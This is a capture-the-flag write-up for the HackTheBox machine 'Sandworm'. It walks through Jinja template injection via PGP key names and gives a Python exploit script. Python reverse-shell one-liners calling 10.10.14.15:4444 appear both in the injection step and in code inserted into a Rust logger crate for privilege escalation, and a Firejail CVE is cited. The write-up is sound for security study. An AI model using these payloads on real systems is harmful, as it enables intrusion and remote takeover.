Sandworm

Snadworm is a HackTheBox lab Linux machine released on 17/6/23 in Beta Season II.

This machine features:

GnuPG
Server-side Template Injection
Rust
Firejail Vulnerability

Reconnaissance

Port Scanning

A quick port scanning shows us there're ports 22, 80, and 443:

$ sudo nmap -p- -n -Pn -sS -T4 --min-rate 1000 -v 10.129.77.49 -oN ports.nmap
...
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
...

Hostname

The certificate returned tells us the hostname is ssa.htb.

$ openssl s_client -connect <IP>:443 -showcerts
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 C = SA, ST = Classified, L = Classified, O = Secret Spy Agency, OU = SSA, CN = SSA, emailAddress = atlas@ssa.htb
verify error:num=18:self signed certificate
verify return:1
depth=0 C = SA, ST = Classified, L = Classified, O = Secret Spy Agency, OU = SSA, CN = SSA, emailAddress = atlas@ssa.htb
verify return:1
---
Certificate chain
 0 s:C = SA, ST = Classified, L = Classified, O = Secret Spy Agency, OU = SSA, CN = SSA, emailAddress = atlas@ssa.htb
   i:C = SA, ST = Classified, L = Classified, O = Secret Spy Agency, OU = SSA, CN = SSA, emailAddress = atlas@ssa.htb
...

We can also see the same information in the HTTP 301 response using curl.

$ curl -i http://10.129.77.49
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 18 Jun 2023 13:46:03 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://ssa.htb/
...

We then add this hostname to our host file /etc/host.

No common vhosts can be found using ffuf.

$ ffuf -u https://ssa.htb -H 'Host: FUZZ.ssa.htb' -w path_to_subdomains-top1million-5000.txt -fs 8161

Techniques

The footer suggests that the site is built on Flask.

URL Path

We can crawl hypertext and embedded links with the Python script like this.

$ url_crawler.py https://ssa.htb links.txt
https://ssa.htb
 https://ssa.htb/static/favicon.ico
 https://ssa.htb/static/bootstrap-icons2.css
 https://ssa.htb/static/bootstrap-icons.css
 https://ssa.htb/static/styles.css
 https://ssa.htb/
  https://ssa.htb/about
   https://ssa.htb/contact
    https://ssa.htb/guide
     https://ssa.htb/pgp
     https://ssa.htb/static/circleLogo2.png
     https://ssa.htb/static/bootstrap.bundle.min.js
     https://ssa.htb/static/popper.min.js
     https://ssa.htb/static/jquery.min.js
     https://ssa.htb/static/scripts.js
   https://ssa.htb/static/eagl2.png

More paths like admin, login, logout, view, and process can be found using ffuf.

$ ffuf -u https://ssa.htb/FUZZ -w path_to_raft-medium-words.txt
...
admin                   [Status: 302, Size: 227, Words: 18, Lines: 6, Duration: 24ms]
login                   [Status: 200, Size: 4392, Words: 1374, Lines: 83, Duration: 65ms]
contact                 [Status: 200, Size: 3543, Words: 772, Lines: 69, Duration: 104ms]
logout                  [Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 123ms]
view                    [Status: 302, Size: 225, Words: 18, Lines: 6, Duration: 89ms]
about                   [Status: 200, Size: 5584, Words: 1147, Lines: 77, Duration: 94ms]
process                 [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 82ms]
guide                   [Status: 200, Size: 9043, Words: 1771, Lines: 155, Duration: 76ms]
pgp                     [Status: 200, Size: 3187, Words: 9, Lines: 54, Duration: 119ms]
...

Contact

The site allows users to submit PGP-encrypted messages with a guide about how to use PGP.

PGP Guide

In the guide, the site implements functionalities including PGP decrypting, encrypting, and verifying.

We can find the pgp in /pgp, save it to ssa.gpg, and import it for the recipient atlas@ssa.htb using gpg.

$ gpg --import ssa.gpg
$ gpg --list-keys
...
pub   rsa4096 2023-05-04 [SC]
      D6BA9423021A0839CCC6F3C8C61D429110B625D4
uid           [ unknown] SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
sub   rsa4096 2023-05-04 [E]
...

We can encrypt some content for atlas@ssa.htb.

$ echo hello > file
$ gpg -e -r atlas --output file.asc --armor file
$ cat file.asc 
-----BEGIN PGP MESSAGE-----

hQIMA2u3M9ko0UzmARAAnNrZBQ+HEyyqWXKGb/Zzt/NqJ8e4pq0gprJ0VMMU2VkW
dgZIZChl6uoMbkR9txvXdPZKMN//wexStfrFSVpUZeg6UC9Bk4EI3FOCyiznf61F
Wa7pXfdN8OgCwd0Yp5xDQnx3n5uunpmpDUqCPwVAwRMPRWzp08p/NvHvPmYpFSTc
a2qN0dM/V/Ok0nzwbH+gTKpQscX79CgaepEq0Isd47X/Tihba+4N66mWdzUTsBGf
y7LCHLZqOUygFy1ysrMb2u/Pcl5vkIUFtW3LvBun4I3yCXP74dflBpRm3otienUW
PNWTkqAvRIINkx9BCtrS66THS6yBrbmUUivYVcNHqG1jrGdFsGPoo3uonHKuczkB
AS1Bzt08VqJGq6IAFcnox7nJd5qvPqcddmjqsEvOfPGeqAMQ7InnT0VqBiO84kED
ucqUdFaHZYN78C7h48RRGa+want32j52zvRBIKxeVd4+PGRqzw13+EqGbjHLb4yf
dSoedxhpRh0km/I21Ym+Eg7gRa2ydmTdm578h7V2BIo1RYeWce92HXaeu1EFMSop
XZ6UQgZS/uiFAkJazue8YmRnjPKGrRI10/qKqimfeJwgQfJNt3dG6qcvkpOIFGCU
zRxxKj2S59X4ZXZ1zAxpGPinck2QXBb+/o/Pvcb9ltLiXEs93Cqq/bEtCcNKtVbS
RQF05OqT5pg9iVNv66G9v4a9tlXfPrpwQPNJw8yxlR3N68zmq/yrrGdbLjXRlImR
VPdu7ZOY4gNF+BoLfRZQ3Ju6/rkqSw==
=dWaU
-----END PGP MESSAGE-----

We see that the message is decrypted successfully.

Unlike other functions, the site also implements javascript code for verifying signed messages.

$(document).ready(function() {
    $(".verify-form").submit(function(e) {
      e.preventDefault();
      var signed_text = $("#signed_text").val();
      var public_key = $("#public_key").val();
      $.ajax({
        type: "POST",
        url: "/process",
        data: { signed_text: signed_text, public_key: public_key },
        success: function(result) {
          $("#signature-result").html(result);
          $("#signature-modal").modal("show");

Although the form action /guide/verify is still usable.

The response indicates that the site uses GnuPG in the backend.

The GNU Privacy Handbook

Initial Access

Server-side Template Injection

Since the server will render the decrypted message controlled by us, we shall try to test if any server-side template injection vulnerability exists.

We've seen that the site is built using Flask; hence it may use Jinja as its template engine.

We first encrypt the message, where the string hi will be comment out in Jinja:

{#hi#}

using the target's PGP and we submit through the encryption function.

We see the content is rendered successfully, which indicates that no template injection can be abused here.

We try to generate a keypair for the user named {#hi#}yes this time and we submit the message signed with this key through the verifying function.

$ gpg --list-keys yes
pub   rsa3072 2023-06-20 [SC] [expires: 2025-06-19]
      C03DD9EBFEEA3C77177E01E6E51568B06C3DC5D7
uid           [ultimate] {#hi#}yes
sub   rsa3072 2023-06-20 [E] [expires: 2025-06-19]

We see the string {#hi#} disappears this time, which indicates that we've found a SSTI vulnerability.

Remote Code Execution

To abuse the vulnerability to achieve remote code execution, we shall generate keypairs with usernames like {{__import__('os').system('ls')}}.

To automate the process, we write the following script using python-gnupg and cmd modules:

#!/usr/bin/python3

import cmd
import requests
import logging
import shlex
import gnupg
from subprocess import Popen, PIPE
from bs4 import BeautifulSoup as bs

requests.packages.urllib3.disable_warnings()
logger = logging.getLogger(__name__)

class Exploit(cmd.Cmd):
    def __init__(self):
        super().__init__()
        self.proxies = {
                'https':'http://localhost:8080'
                }
        self.url = 'https://ssa.htb'
        self.getPGP()
        self.gpg = gnupg.GPG()
        self.secret = 's3cret'

    def get(self, *kargs, **kw):
        res = requests.get(*kargs, verify=False, proxies=self.proxies, **kw)
        return res

    def post(self, *kargs, **kw):
        res = requests.post(*kargs, verify=False, proxies=self.proxies, **kw)
        return res

    def getPGP(self):
        res = self.get(self.url + '/pgp')
        pgp = bs(res.text, 'lxml').select('pre')[0].text
        print(pgp)
        with open('ssa.pgp', 'w') as o:
            logger.debug(f"got pgp {pgp[:100]}")
            o.write(pgp)
        pGPExists = b'atlas@ssa.htb' in Popen(shlex.split('gpg --list-keys'), stdout=PIPE).communicate()[0]
        logger.debug(f"target's PGP exists:{pGPExists}")

        if not pGPExists:
            Popen(shlex.split('gpg --import ssa.pgp'))

    def inject(self, payload):
        name = "Python--->{{%s}}" % payload
        logger.debug(f"name {name}")
        key = self.gpg.gen_key(self.gpg.gen_key_input(name_real=name, name_email='lala@example.com', passphrase=self.secret))
        signed = self.gpg.sign('hello', keyid=key.fingerprint, passphrase=self.secret).data

        data = {
                'signed_text': signed,
                'public_key': self.gpg.export_keys(key.fingerprint)
                }
        res = self.post(self.url + '/process', data = data)
        print(res.text)

    def default(self, cmd):
        self.inject(cmd)

    def do_EOF(self, _):
        return True

e = Exploit()
e.cmdloop()

We can also execute remote commands via Python code like request.application.__globals__.__builtins__.__import__('os').popen('ls').read() now:

(cmd) request.application.__globals__.__builtins__.__import__('os').popen('id').read()
...
[GNUPG:] GOODSIG 7BF5637BBF510011 Python--->uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
 <lala@example.com>
gpg: Good signature from "Python--->uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
...

We can get a reverse shell too.

(Cmd) request.application.__globals__.__builtins__.__import__('os').system('python3 -c "import socket,pty,os;s=socket.socket();s.connect((\"10.10.14.15\",4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn(\"/bin/bash\");"')

Credential Hunting

We see the source of the site is under the path /var/www/html/SSA/SSA.

We can see the cause of the SSTI is the usage of render_template_string:

We found the MySQL credential atlas:GarlicAndOnionZ42:

atlas@sandworm:/var/www/html/SSA/SSA$ cat __init__.py 
from flask import Flask
from flask_login import LoginManager
from flask_sqlalchemy import SQLAlchemy

db = SQLAlchemy()

def create_app():
    app = Flask(__name__)

    app.config['SECRET_KEY'] = '91668c1bc67132e3dcfb5b1a3e0c5c21'
    app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA'

We found the PGP key's passphrase $M1DGu4rD$ :

/var/www/html/SSA/SSA/app.py

...
@main.route("/contact", methods=('GET', 'POST',))
def contact():
    if request.method == 'GET':
        return render_template("contact.html", name="contact")
    tip = request.form['encrypted_text']
    if not validate(tip):
        return render_template("contact.html", error_msg="Message is not PGP-encrypted.")

    msg = gpg.decrypt(tip, passphrase='$M1DGu4rD$')
...

We can use Python package sqlalchemy to access the MySQL database SSA.

import sqlalchemy

engine = sqlalchemy.create_engine('mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA')
conn = engine.connect()
conn.execute(sqlalchemy.text('SELECT * FROM users;'))

We can then obtain a list of usernames and password hashes.

[(1, 'Odin', 'pbkdf2:sha256:260000$q0WZMG27Qb6XwVlZ$12154640f87817559bd450925ba3317f93914dc22e2204ac819b90d60018bc1f'), (2, 'silentobserver', 'pbkdf2:sha256:260000$kGd27QSYRsOtk7Zi$0f52e0aa1686387b54d9ea46b2ac97f9ed030c27aac4895bed89cb3a4e09482d')]

By formatting the hashes above as, for example, 12154640f87817559bd450925ba3317f93914dc22e2204ac819b90d60018bc1f:q0WZMG27Qb6XwVlZ, we can try to use hashcat to crack the password with mode 1460.

Feature Request - Python Werkzeug Module/Parser · Issue #3205 · hashcat/hashcatGitHub

In file ~/.config/httpie/sessions/localhost_5000/admin.json, we found credential silentobserver:quietLiketheWind22.

atlas@sandworm:~/.config/httpie$ cat sessions/localhost_5000/admin.json
{   
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}

We can login to the target using SSH with this credential now.

Privilege Escalation

Crate tipnet

We found a crate named tipnet located under directory /opt.

The compiled binary has SUID permission set.

silentobserver@sandworm:~$ ls -l /opt/tipnet/target/debug/tipnet
-rwsrwxr-x 2 atlas atlas 59047248 Jun  6 10:00 /opt/tipnet/target/debug/tipnet

We note that this crate uses an external crate logger located in /opt/crates/logger.

silentobserver@sandworm:~$ cat /opt/tipnet/Cargo.toml 
[package]
name = "tipnet"
version = "0.1.0"
edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
chrono = "0.4"
mysql = "23.0.1"
nix = "0.18.0"
logger = {path = "../crates/logger"}

System Activities Monitoring

We can use the tool pspy64 to monitor system activities.

silentobserver@sandworm:~$ ./pspy64 -f

We see that the crate is compiled and executed by cargo run every 1 minute and 50 seconds by root using user atlas with mode e.

2023/06/21 09:10:01 CMD: UID=0     PID=25158  | /usr/sbin/CRON -f -P 
2023/06/21 09:10:01 CMD: UID=0     PID=25157  | /usr/sbin/cron -f -P 
2023/06/21 09:10:01 CMD: UID=0     PID=25156  | /usr/sbin/CRON -f -P 
2023/06/21 09:10:01 CMD: UID=0     PID=25161  | /bin/cp -p /root/Cleanup/webapp.profile /home/atlas/.config/firejail/ 
2023/06/21 09:10:01 CMD: UID=0     PID=25160  | /bin/bash /root/Cleanup/clean.sh 
2023/06/21 09:10:01 CMD: UID=0     PID=25159  | /bin/sh -c /bin/bash /root/Cleanup/clean.sh 
2023/06/21 09:10:01 CMD: UID=0     PID=25164  | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/06/21 09:10:01 CMD: UID=0     PID=25162  | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/06/21 09:10:01 CMD: UID=0     PID=25165  | 
2023/06/21 09:10:01 CMD: UID=0     PID=25166  | /bin/sh -c sleep 10 && /root/Cleanup/clean_c.sh 
2023/06/21 09:10:01 CMD: UID=0     PID=25167  | sleep 10 
2023/06/21 09:10:01 CMD: UID=1000  PID=25168  | 
2023/06/21 09:10:01 CMD: UID=1000  PID=25169  | 
2023/06/21 09:10:01 CMD: UID=1000  PID=25170  | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed 
2023/06/21 09:10:01 CMD: UID=1000  PID=25172  | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg 
2023/06/21 09:10:01 CMD: UID=1000  PID=25174  | /usr/bin/cargo run --offline 
2023/06/21 09:10:11 CMD: UID=0     PID=25179  | /bin/bash /root/Cleanup/clean_c.sh 
2023/06/21 09:10:11 CMD: UID=0     PID=25180  | /bin/rm -r /opt/crates 
2023/06/21 09:10:11 CMD: UID=0     PID=25181  | /bin/cp -rp /root/Cleanup/crates /opt/ 
2023/06/21 09:10:11 CMD: UID=0     PID=25182  | /bin/bash /root/Cleanup/clean_c.sh 
2023/06/21 09:12:01 CMD: UID=0     PID=25188  | /usr/sbin/CRON -f -P 
2023/06/21 09:12:01 CMD: UID=0     PID=25187  | /usr/sbin/CRON -f -P 
2023/06/21 09:12:01 CMD: UID=0     PID=25189  | /bin/sh -c sleep 10 && /root/Cleanup/clean_c.sh 
2023/06/21 09:12:01 CMD: UID=0     PID=25190  | sleep 10 
2023/06/21 09:12:01 CMD: UID=0     PID=25191  | 
2023/06/21 09:12:01 CMD: UID=0     PID=25193  | /bin/sudo -u atlas /usr/bin/cargo run --offline

We also see that the crate's source codes under /opt/crates are overwritten in 10 seconds after the crate is executed.

2023/06/21 09:10:11 CMD: UID=0     PID=25179  | /bin/bash /root/Cleanup/clean_c.sh 
2023/06/21 09:10:11 CMD: UID=0     PID=25180  | /bin/rm -r /opt/crates 
2023/06/21 09:10:11 CMD: UID=0     PID=25181  | /bin/cp -rp /root/Cleanup/crates /opt/ 
2023/06/21 09:10:11 CMD: UID=0     PID=25182  | /bin/bash /root/Cleanup/clean_c.sh 
2023/06/21 09:12:01 CMD: UID=0     PID=25188  | /usr/sbin/CRON -f -P 
2023/06/21 09:12:01 CMD: UID=0     PID=25187  | /usr/sbin/CRON -f -P 
2023/06/21 09:12:01 CMD: UID=0     PID=25189  | /bin/sh -c sleep 10 && /root/Cleanup/clean_c.sh 
2023/06/21 09:12:01 CMD: UID=0     PID=25190  | sleep 10 
2023/06/21 09:12:01 CMD: UID=0     PID=25191  | 
2023/06/21 09:12:01 CMD: UID=0     PID=25193  | /bin/sudo -u atlas /usr/bin/cargo run --offline

We can also find that the credential we found early is put there deliberately.

2023/06/21 04:15:01 CMD: UID=0     PID=19806  | /bin/cp -p /root/Cleanup/admin.json /home/atlas/.config/httpie/sessions/localhost_5000/

User atlas

We found that we can modify the content of the source of the crate logger which is used in the SUID program tipnet owned by the user atalas.

silentobserver@sandworm:~$ ls -l /opt/crates/logger/src/lib.rs 
-rw-rw-r-- 1 atlas silentobserver 732 May  4 17:12 /opt/crates/logger/src/lib.rs

So, we shall be able to execute commands as the user atlas, if we overwrite the source code /opt/crates/logger/src/lib.rs after the script /root/Cleanup/clean_c.sh being executed and before the next compilation triggered by CRON.

We insert the following code after the script /root/Cleanup/clean_c.sh being executed.

...
use std::process::Command;
...

pub fn log(user: &str, query: &str, justification: &str) {
    let o = Command::new("python3").args(&["-c", "import socket,pty,os;s=socket.socket();s.connect((\"10.10.14.15\",4444));[os.dup2(s.fileno(),i) for i in range(3)];pty.spawn(\"/bin/bash\");"]).output().expect("none");
    println!("{}", String::from_utf8(o.stdout).unwrap());
...

Then we shall receive a reverse shell later.

Firejail

We note that the user if in the group jailer, users of which can run the setuid-root program firejail to sandbox processes.

atlas@sandworm:~$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:~$ ls -l /usr/local/bin/firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29  2022 /usr/local/bin/firejail

The version of the program firejail seems to suffer the local privilege escalation vulnerability.

$ atlas@sandworm:~$ firejail --version
firejail version 0.9.68

oss-sec: firejail: local root exploit reachable via --join logic (CVE-2022-31214)

By using the exploit, we can get the root user.

https://www.openwall.com/lists/oss-security/2022/06/08/10/1

Miscellaneous

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Last updated 7 months ago